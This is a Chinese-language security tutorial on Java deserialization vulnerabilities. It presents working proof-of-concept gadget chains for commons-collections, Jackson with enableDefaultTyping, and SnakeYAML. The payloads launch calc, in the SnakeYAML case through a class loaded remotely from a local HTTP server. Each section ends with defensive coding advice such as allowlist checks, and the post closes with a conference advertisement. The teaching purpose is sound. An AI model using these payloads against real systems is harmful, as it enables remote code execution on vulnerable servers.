安全攻防丨反序列化漏洞的实操演练

原创
2023/09/05 16:08
阅读数 1.1K

本文分享自《【安全攻防】深入浅出实战系列专题-反序列化漏洞》,作者:MDKing。

1. 基本概念

序列化:将内存对象转化为可以存储以及传输的二进制字节、xml、json、yaml等格式。

反序列化:将虚化列存储的二进制字节、xml、json、yaml等格式的信息重新还原转化为对象实例。

 
数据格式 序列化后的信息样例
二进制
xml
json {"name":"tianyi","age":20}
yaml
!!com.huaweicloud.secure.Person {age: 20, name: tianyi}\n

序列化/反序列化库:如果想将对象序列化为二进制格式(或者反序列化回对象),直接使用JDK库自带的ObjectOutputStream的readObject、writeObject方法即可。如果想与其它格式(xml、json、yaml)相互转换,一般需要引入jackson、snakeyaml等其它开源组件,使用开源组件中提供的库方法。

 
库名称 序列化支持的格式
jdk 二进制、xml
xstream xml、json
jackson xml、json
fastjson json
gson json
json-io json
flexson json
snakeyaml yaml

反序列化漏洞:当业务代码中使用了反序列化相关方法,但对输入的反序列化数据并未做充分的校验控制,攻击者能够控制反序列数据的输入时,攻击者可以针对业务代码的JDK、开源组件版本、已加载的类的情况精心构造一系列对象链数据,最终达成任意命令行执行或者远程代码执行的效果。

2. JDK反序列化漏洞利用实战

2.1 JDK与开源组件版本准备

JDK版本:1.8.0_232(其它更新的版本应该也ok,没有具体逐一验证)

commons-collections组件版本:3.2.1(从3.2.2开始增加了安全校验,需要手动设置System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");)

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

2.2 漏洞利用代码演示

public static void main(String[] args) throws Exception{
    // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};
    Transformer chain4Obj = new ChainedTransformer(transformers);
    LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj);
    TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");

    // 构造利用链的第一环BadAttributeValueExpException对象,因相关方法非public,使用反射强行设置val属性
    BadAttributeValueExpException chain1Obj = new BadAttributeValueExpException(null);
    Field valField = chain1Obj.getClass().getDeclaredField("val");
    valField.setAccessible(true);
    valField.set(chain1Obj, chain2Obj);

    // 使用jdk库函数将chain1Obj序列化到文件D:\hacker中
    ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker"));
    objOut.writeObject(chain1Obj);

    // 使用jdk库函数将文件D:\hacker内容反序列化为对象,反序列化漏洞触发任意命令行执行
    ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker"));
    Object object = objIn.readObject();
}

执行结果,成功打开了window的计算器应用,漏洞利用成功

由于序列化部分的代码将对象序列化到文件D:\hacker中了,实际上我们直接读取该文件进行反序列化即可触发命令行执行(或者说我把该文件发给你,你在本地执行反序列化,一样会触发命令执行),如下

2.3 漏洞利用原理分析

首先,反序列化漏洞利用最终目标是要能任意执行命令行命令或者远程代码执行,本例中,是达成了执行任意命令行命令,即本例中的命令calc。在Java中相当于要执行代码:Runtime.getRuntime().exec("calc");其中calc只是示例,可以换成任意其它命令。

那是不是直接把这一行代码写到demo程序里就行了?不,直接写这一行代码你只能在demo程序运行的时候有效果。没办法在实际反序列化的业务代码中执行的。我们需要利用反序列化过程本身会调用的方法作为入口,触发我们注入的命令执行。在jdk的ObjectInputStream.readObject的反序列过程会调用目标反序列化对象的readObject方法。我们需要利用该入口调用我们注入的命令。

那是不是直接定义一个对象X,在readObject方法里写这一行代码(Runtime.getRuntime().exec("calc");)就行了,样例代码为什么整的那么复杂?答案依然是不行。这样也仅能在攻击者本地执行,业务执行环境中是没有X这个类的定义的。会报错ClassNotFoundException。

所以我们只能利用业务代码本身已经加载的jdk以及常用开源组件中的类来构造序列化攻击链,本例中选用的攻击链的第一环为BadAttributeValueExpException对象。当执行反序列化时,首先会触发调用BadAttributeValueExpException的readObject方法。

2.4 攻击链调用过程详解

攻击链调用的第一环为BadAttributeValueExpException的readObject方法:

BadAttributeValueExpException.readObject:

其中valObj即为我们在demo样例中执行valField.set(chain1Obj, chain2Obj);设置进val属性的chain2Obj对象(TiedMapEntry类型),紧接着调用TiedMapEntry的toString方法:

TiedMapEntry.toString:

紧接着到getValue方法

TiedMapEntry.getValue:

this.map为我们在demo样例中执行TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");初始化进去的chain3Obj对象(LazyMap类型),所以接着会调用LazyMap的get方法:

LazyMap.get:

this.factory为我们在demo样例中执行LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj);初始化进去的chain4Obj对象(ChainedTransformer类型),所以接着执行ChainedTransformer的transform方法:

ChainedTransformer.transform:

该方法会遍历Transformer数组中我们注入进去利用InvokerTransformer的反射机制间接执行的命令行执行代码。相当于利用业务代码已加载的库函数,通过传值的方式(利用反射机制)间接实现了自定义代码执行,Transformer数组遍历执行transform的效果相当于执行了Runtime.getRuntime().exec("calc");这一行代码。

2.5 攻击链总结

利用库:jdk、commons-collections

利用入口:BadAttributeValueExpException的readObject方法

达成效果:任意命令行执行

涉及机制:反射

攻击链对象关系图:

攻击链调用顺序图:

2.6 进阶延伸-其它经典攻击链

假如业务上通过黑名单的方法禁止了BadAttributeValueExpException类的反序列化,能防止反序列化攻击吗?答案是否定的。这条链被禁了,我们换一条就是了。本小节介绍另外一条commons-collections的经典攻击链。

利用库:jdk(在1.8以下版本)、commons-collections(保持与上面版本一致即可)

利用入口:AnnotationInvocationHandler的readObject方法

达成效果:任意命令行执行

涉及机制:反射、动态代理

代码Poc:

public static void main(String[] args) throws Exception{
    // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};
    Transformer chanin5Obj = new ChainedTransformer(transformers);
    LazyMap chain4Obj = (LazyMap)LazyMap.decorate(new HashMap(), chanin5Obj);

    Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    constructor.setAccessible(true);
    InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, chain4Obj);
    Map chain2Obj = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), chain3Obj);
    InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.class, chain2Obj);

    // 使用jdk库函数将chain1Obj序列化到文件D:\hacker2中
    ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker2"));
    objOut.writeObject(chain1Obj);

    // 使用jdk库函数将文件D:\hacker2内容反序列化为对象,反序列化漏洞触发任意命令行执行
    ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker2"));
    Object object = objIn.readObject();
}

执行结果:虽然后续代码有报错,但是已经执行完注入的命令行部分的代码。

攻击链调用顺序图:

2.7 安全编码防御

上面我们看到了利用常用开源组件的多个类构建的一系列攻击链,如果仅用黑名单限制某些攻击链上类的反序列化是不够的,会有源源不断的新的攻击链被挖掘出来。所以为了让代码更受控、更安全,最好能梳理清楚业务上需要反序列化的类列表,进行白名单校验。

控制反序列化源:反序列化的数据源如果是可以轻易被外部用户控制的,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。

白名单校验:涉及到使用ObjectInputStream进行反序列化时,重写resolveClass方法增加白名单校验。业务代码使用重写的SecureObjectInputStream类进行反序列化。

public final class SecureObjectInputStream extends ObjectInputStream {
    public SecureObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected SecureObjectInputStream() throws IOException, SecurityException {
        super();
    }

    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
        if (!desc.getName().equals("com.huaweicloud.secure.serialize.jdk.Person")) { // 白名单校验
            throw new ClassNotFoundException(desc.getName() + " not find");
        }
        return super.resolveClass(desc);
    }
}

3. Jackson反序列化漏洞利用实战

3.1 JDK与开源组件版本准备

JDK版本:1.8.0_232(其它更新的版本应该也ok,没有具体逐一验证)

jackson-databind组件版本:2.7.0

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.7.0</version>
</dependency>

spring-context组件版本:4.3.29.RELEASE

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>4.3.29.RELEASE</version>
</dependency>

3.2 漏洞利用代码演示

  • 远程服务器环境准备

本例需要启动http服务器,以便可以通过http协议获取恶意bean定义文件hackerbean.xml的内容

hackerbean.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="hacker" class="java.lang.ProcessBuilder">
        <constructor-arg value="calc" />
        <property name="whatever" value="#{ hacker.start() }"/>
    </bean>
</beans>

本例通过nodejs启动http服务器

staticServer.js

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.listen(3000)

启动http服务器,并验证可以成功访问hackerbean.xml文件

  • 攻击样例代码

public static void main(String[] args) throws Exception{
    String json = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:3000/hackerbean.xml\"]\n";
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();
    Object obj = mapper.readValue(json, Object.class);
    System.out.println(obj);
}
  • 执行结果

日志会报创建bean失败抛异常,但是我们关键的执行命令行命令的代码已经执行过了,成功打开了计算器

3.3 漏洞利用原理分析

  • 本例最终达成的目的是通过远程加载bean配置文件,利用初始化ProcessImpl类的bean的过程,将任意字符串作为命令行执行内容注入,达到任意命令行命令执行的效果。

  • 本例利用的是Jackson的enableDefaultTyping(默认类型处理)功能。在 Jackson 库中,enableDefaultTyping是一个用于启用默认类型处理的方法。它的作用是在序列化和反序列化过程中包含类型信息,以便在恢复对象时能够正确地处理多态类型。一般配合业务代码中不指定具体类型的写法使用mapper.readValue(json, Object.class);(readValue的第二个参数为Object.class)即在代码中不明确指定反序列化后的类型,类型信息存储在序列化后的数据中。

  • 此时,如果反序列化内容为数组形式[a,b],a为类路径名称时,第二个参数会被作为构造函数或者属性set方法的参数触发a类对应的代码执行。(第二个参数后面的参数会被忽略掉)

当b为对象类型格式时:触发a的无参构造函数执行,以及对应属性set方法执行。(例如:["com.huaweicloud.secure.MySerialize", {"name":"tianyi","age":12}]会触发setName、setAge方法执行)

当b为非对象类型格式时:会根据类型(字符串、数字、bool等)尝试寻找单参数的参数类型匹配的构造方法执行,找不到会抛异常。

  • 本例中利用了enableDefaultTyping的特性在反序列化过程中创建了ClassPathXmlApplicationContext对象,并传入http://127.0.0.1:3000/hackerbean.xml作为参数调用ClassPathXmlApplicationContext的构造方法,达到了远程加载bean文件解析bean的作用。

3.4 攻击链调用过程详解

攻击链调用的第一环为ClassPathXmlApplicationContext的构造方法:

ClassPathXmlApplicationContext.ClassPathXmlApplicationContext:

加载远程文件http://127.0.0.1:3000/hackerbean.xml作为bean进行解析

hackerbean.xml

创建ProcessBuilder,构造器依赖注入,调用ProcessBuilder的构造方法

试图初始化whatever属性(不需要实际存在该属性)的值,触发调用ProcessBuilder的start方法,成功将hackerbean.xml中构造器注入的内容calc作为命令行执行。

3.5 攻击链总结

利用库:jdk、jackson-databind、spring-context

利用入口:ClassPathXmlApplicationContext的构造方法

达成效果:任意命令行执行(远程加载bean配置文件)

涉及机制:Jackson的enableDefaultTyping(默认类型处理)功能、Spring bean远程加载/依赖注入/属性动态初始化功能

3.6 进阶延伸-其它经典攻击链

如果mapper.readValue的第二个参数为具体的类,还有办法攻击吗?答案是有的,但是需要业务类具备一定的特殊写法。

Poc:

public static void main(String[] args) throws Exception{
        String json = "{\"context\": \"http://127.0.0.1:3000/hackerbean.xml\"}";
        ObjectMapper mapper = new ObjectMapper();
        Object obj = mapper.readValue(json, Person.class);
        System.out.println(obj);
    }

Person类的定义:

public class Person {
    private String name;
    private Integer age;
    private ClassPathXmlApplicationContext context;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Integer getAge() {
        return age;
    }
    public void setAge(Integer age) {
        this.age = age;
    }
    public ClassPathXmlApplicationContext getContext() {
        return context;
    }
    public void setContext(ClassPathXmlApplicationContext context) {
        this.context = context;
    }
}

执行结果:

原理解析:

readValue指定了要反序列化Person类,json的内容为{属性名:属性值},触发Person的set属性名的方法,在本例中触发setContext(ClassPathXmlApplicationContext context)方法执行,我们传入的属性值是字符串,与ClassPathXmlApplicationContext不匹配时,会自动触发调用ClassPathXmlApplicationContext的构造方法,将字符串作为构造方法的参数传入。就跟上面的利用链连上了。(而且注意本例不需要开启enableDefaultTyping功能

3.7 安全编码防御

  • 控制反序列化源,除非业务需要,一定要禁止反序列化数据源可被外部控制。

  • 禁用enableDefaultTyping特性

  • 反序列化的属性严格审视,最好都是简单类型的,如果涉及到复杂类,要排查其构造方法是否有被利用的风险。

4. SnakeYaml反序列化漏洞利用实战

4.1 JDK与开源组件版本准备

JDK版本:1.8.0_232(其它更新的版本应该也ok,没有具体逐一验证)

snakeyaml组件版本:1.23

4.2 漏洞利用代码演示

  • 远程服务器环境准备

本例需要启动http服务器,以便可以通过http协议远程加载配置文件META-INF\services\javax.script.ScriptEngineFactory以及恶意类PoCWin.class的内容

META-INF\services\javax.script.ScriptEngineFactory:(在web服务器的根目录下依次创建META-INF、services文件夹,将javax.script.ScriptEngineFactory放到services文件夹下)

PoCWin

PoCWin.class对应的源码内容:(放在web服务器的根目录下)

public class PoCWin implements ScriptEngineFactory {
    static {
        try {
            System.out.println("Hacked by tianyi");
            Runtime.getRuntime().exec("calc.exe").waitFor();//执行计算器
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }

    // 其它接口必须实现的方法
    ...
}

本例通过nodejs启动http服务器

staticServer.js

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.listen(3000)

启动http服务器,并验证可以成功访问javax.script.ScriptEngineFactory文件、PoCWin.class文件

  • 攻击样例代码
public static void main(String[] args) throws Exception{
    String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]";
    Yaml yaml = new Yaml();
    Object object = yaml.load(poc);
    System.out.println(object);
}
  • 执行结果

成功打印出Hacked by tianyi、弹出计算器

4.3 漏洞利用原理分析

  • 本例最终达成的目的是通过远程加载class文件,利用类加载过程,将任意代码注入到static静态块中,达到远程任意代码执行的效果。

  • snakeyaml与jackson类似,反序列化时也有不指定类型(Yaml.load)与指定类型(Yaml.loadAs)两种方法。本例中使用的是不指定类型的方法,类型信息在反序列化信息中。本例Poc中"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]"被反序列化时的效果为:创建ScriptEngineManager类型的对象,调用其构造方法ScriptEngineManager(ClassLoader loader),由触发创建ClassLoader的对象,调用其构造方法URLClassLoader(URL[] urls),其中的\"http://127.0.0.1:3000/\"则被作为urls参数传入构造方法。

  • 本例中利用了Java SPI机制,jdk中的ScriptEngineManager类会加载类加载器中所有实现javax.script.ScriptEngineFactory接口的类。我们正是利用这个逻辑,创建了实现了ScriptEngineFactory接口的PoCWin类,并注册到配置文件META-INF\services\javax.script.ScriptEngineFactory中。(注意:规则为注册文件名与接口名保持一致)

Java SPI(Service Provider Interface)是Java提供的一种用于扩展框架的机制。它允许开发者定义一个接口,然后通过配置文件的方式,将接口的具体实现类动态地加载到应用程序中。

4.4 攻击链调用过程详解

攻击链的第一环为ScriptEngineManager的构造方法:

ScriptEngineManager的构造方法

为了调用该构造方法,需要先完成其入参ClassLoader的前置初始化,调用URLClassLoader的构造方法,根据传入的url地址获取对应的待加载class文件PoCWin.class

URLClassLoader的构造方法

之后调用ScriptEngineManager的init方法执行类的加载

ScriptEngineManager.init

具体会在ScriptEngineManager.initEngines方法的122行,遍历获取到PoCWin类执行加载,触发static静态块代码的执行。(sl中获取了类加载器加载到的所有实现了javax.script.ScriptEngineFactory接口的类的列表)

ScriptEngineManager.initEngines

4.5 攻击链总结

利用库:jdk、snakeyaml

利用入口:ScriptEngineManager的构造方法

达成效果:远程任意代码执行

涉及机制:Java SPI

4.6 进阶延伸-其它经典攻击链

如果业务代码使用了带类型的反序列化方法Yaml.loadAs,还能进行攻击吗?也是可以的。

Poc:

public static void main(String[] args) throws Exception{
    String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";
    Yaml yaml = new Yaml();
    Object object = yaml.loadAs(poc, Person.class);
    System.out.println(object);
}

Person类的定义:

public class Person implements Serializable {
    private String name;
    private Integer age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Person(String name) {
        System.out.println("init");
    }
}

执行结果:

原理解析:

loadAs方法会将poc内容[]中的部分作为对象进行初始化为参数对象,然后调用Person的单参数的构造方法Person(String name),将参数传入,虽然会报错参数类型不匹配,但是[]中内容初始化的过程已经触发了恶意代码的执行。(注意:本例中poc比上例中多了一层[],如果不多这一层[],则仅会创建URLClassLoader对象作为参数,不会触发恶意代码执行)

4.7 安全编码防御

控制反序列化源:反序列化的数据源如果是可以轻易被外部用户控制的,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。

白名单校验:定义我们自己的支持白名单的SecureConstructor,继承Constructor(当使用无参构造函数new Yaml()创建Yaml对象时,默认使用的就是Constructor)。Constructor会默认放通所有的类执行yaml对象解析逻辑(即执行ConstructYamlObject中的逻辑)。所以我们首先要在构造函数中将map中null对应的构建器从ConstructYamlObject改为undefinedConstructor。然后创建addTrustClass方法,支持将制定类名加入map中,达到白名单的效果。

public class SecureConstructor extends Constructor {
    public SecureConstructor() {
        super();
        yamlConstructors.put(null, undefinedConstructor);   // 修改逻辑为默认拒绝,即未在map中定义的类默认走undefinedConstructor的逻辑,抛异常
    }
    
    public void addTrustClass(String name) {    // 添加类的全路径名则会进入白名单
        yamlConstructors.put(new Tag(Tag.PREFIX + name), new SecureConstructObject());
    }
    protected class SecureConstructObject extends ConstructYamlObject {
        public SecureConstructObject() {
            super();
        }
    }
}

业务代码在new Yaml时将SecureConstructor传进去,以起到白名单防护的作用

public static void main(String[] args) throws Exception{
        String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";
        SecureConstructor secureConstructor = new SecureConstructor();
        secureConstructor.addTrustClass("com.huaweicloud.secure.serialize.snakeyaml.Person");
        Yaml yaml = new Yaml(secureConstructor);
        Object object = yaml.loadAs(poc, Person.class);
        System.out.println(object);
    }

执行结果如下,ScriptEngineManager类在创建时被拦截

号外!

华为将于2023年9月20-22日,在上海世博展览馆和上海世博中心举办第八届华为全联接大会(HUAWEICONNECT 2023)。本次大会以“加速行业智能化”为主题,邀请思想领袖、商业精英、技术专家、合作伙伴、开发者等业界同仁,从商业、产业、生态等方面探讨如何加速行业智能化。

我们诚邀您莅临现场,分享智能化的机遇和挑战,共商智能化的关键举措,体验智能化技术的创新和应用。您可以:

  • 在100+场主题演讲、峰会、论坛中,碰撞加速行业智能化的观点
  • 参观17000平米展区,近距离感受智能化技术在行业中的创新和应用
  • 与技术专家面对面交流,了解最新的解决方案、开发工具并动手实践
  • 与客户和伙伴共寻商机

感谢您一如既往的支持和信赖,我们热忱期待与您在上海见面。

大会官网:https://www.huawei.com/cn/events/huaweiconnect

欢迎关注“华为云开发者联盟”公众号,获取大会议程、精彩活动和前沿干货。

点击关注,第一时间了解华为云新鲜技术~

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部